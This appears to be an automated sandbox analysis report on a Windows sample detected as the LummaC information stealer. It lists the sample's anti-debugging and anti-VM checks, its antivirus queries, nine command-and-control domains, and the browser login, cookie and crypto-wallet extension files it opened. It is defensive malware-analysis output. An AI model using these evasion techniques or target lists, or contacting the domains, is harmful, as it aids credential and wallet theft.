Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60A7D second address: 4D60ACE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75AF459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FA948C4CB2Dh 0x00000018 pushfd 0x00000019 jmp 00007FA948C4CB30h 0x0000001e add eax, 6BCAF898h 0x00000024 jmp 00007FA948C4CB2Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60ACE second address: 4D60B58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FA9B985C935h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA948B16F83h 0x00000017 adc eax, 18C6BE0Eh 0x0000001d jmp 00007FA948B16F89h 0x00000022 popfd 0x00000023 mov ebx, esi 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 mov di, ax 0x0000002b pushad 0x0000002c mov ebx, esi 0x0000002e pushfd 0x0000002f jmp 00007FA948B16F7Eh 0x00000034 xor esi, 4E3C07B8h 0x0000003a jmp 00007FA948B16F7Bh 0x0000003f popfd 0x00000040 popad 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FA948B16F84h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60B58 second address: 4D60BA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edi 0x0000000f pushfd 0x00000010 jmp 00007FA948C4CB37h 0x00000015 add ecx, 37E2538Eh 0x0000001b jmp 00007FA948C4CB39h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 4D60C65 second address: 4D60C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948B16F85h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Special instruction interceptor: First address: 3C8C7F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Special instruction interceptor: First address: 3C8D31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Special instruction interceptor: First address: 3C61B2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Special instruction interceptor: First address: 5929CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Special instruction interceptor: First address: 5F150F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe TID: 5956	Thread sleep time: -36018s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe TID: 1984	Thread sleep time: -180000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Last function: Thread delayed

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.0000000005724000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.0000000005724000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: iaLId0uLUw.exe, iaLId0uLUw.exe, 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: iaLId0uLUw.exe, 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: iaLId0uLUw.exe, 00000000.00000003.2157125542.000000000571F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: NTICE
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: SICE
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Code function: 0_2_003858D5 LdrInitializeThunk,CryptUnprotectData,LdrInitializeThunk,LdrInitializeThunk,

0_2_003858D5

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: iaLId0uLUw.exe	String found in binary or memory: bashfulacid.lat
Source: iaLId0uLUw.exe	String found in binary or memory: tentabatte.lat
Source: iaLId0uLUw.exe	String found in binary or memory: curverpluch.lat
Source: iaLId0uLUw.exe	String found in binary or memory: talkynicer.lat
Source: iaLId0uLUw.exe	String found in binary or memory: shapestickyr.lat
Source: iaLId0uLUw.exe	String found in binary or memory: manyrestro.lat
Source: iaLId0uLUw.exe	String found in binary or memory: slipperyloo.lat
Source: iaLId0uLUw.exe	String found in binary or memory: wordyfindy.lat
Source: iaLId0uLUw.exe	String found in binary or memory: observerfry.lat

Source: iaLId0uLUw.exe, 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: oV.qAProgram Manager
Source: iaLId0uLUw.exe, iaLId0uLUw.exe, 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: V.qAProgram Manager

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284172195.000000000105D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230985616.000000000105B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: iaLId0uLUw.exe PID: 4696, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: iaLId0uLUw.exe, 00000000.00000002.2754772662.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: m-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/Electro
Source: iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: iaLId0uLUw.exe, 00000000.00000003.2209229573.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: iaLId0uLUw.exe, 00000000.00000003.2209229573.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: iaLId0uLUw.exe, 00000000.00000003.2209229573.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
